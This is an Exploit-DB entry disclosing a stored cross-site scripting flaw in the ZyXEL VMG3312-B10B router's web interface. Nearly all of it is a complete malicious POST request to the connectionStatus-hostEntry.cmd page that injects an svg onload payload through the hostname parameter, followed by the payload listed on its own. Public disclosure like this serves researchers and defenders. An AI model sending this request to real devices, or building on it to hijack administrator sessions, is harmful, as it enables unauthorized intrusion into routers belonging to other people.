ZyXEL VMG3312-B10B - Cross-Site Scripting

EDB-ID: 45236
Author: Samet ŞAHİN
Published: 2018-08-22
CVE: N/A
Type: Webapps
Platform: Hardware
Vulnerable App: N/A

 # Date: 2018-08-21 
# Exploit Author: Samet ŞAHİN
# Vendor Homepage: https://www.zyxel.com/
# Software Link: ftp://ftp.zyxel.com.tr/ZyXEL_URUNLERI/MODEMLER/VDSL_MODEMLER/VMG3312-B10B/
# Version: ZyXEL VMG3312-B10B
# Tested on: Mozilla Firefox 61.0.2 & Google Chrome 67.0.3396.99
# Category: Stored XSS
# CVE : N/A

Malicious POST REQUEST :
POST /pages/connectionStatus/connectionStatus-hostEntry.cmd HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/index.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Cookie: SESSION=529313605
Connection: close
Upgrade-Insecure-Requests: 1
action=edit&oldip=192.168.1.36&hosttype=&sessionKey=1997367832&hostname=X<svg onload=alert()>

Vulnerable PAGE :
/pages/connectionStatus/connectionStatus-hostEntry.cmd

Vulnerable PARAMETER :
hostname

Cross Site Scripting PAYLOAD :
X<svg onload=alert()>

#Samet ŞAHİN

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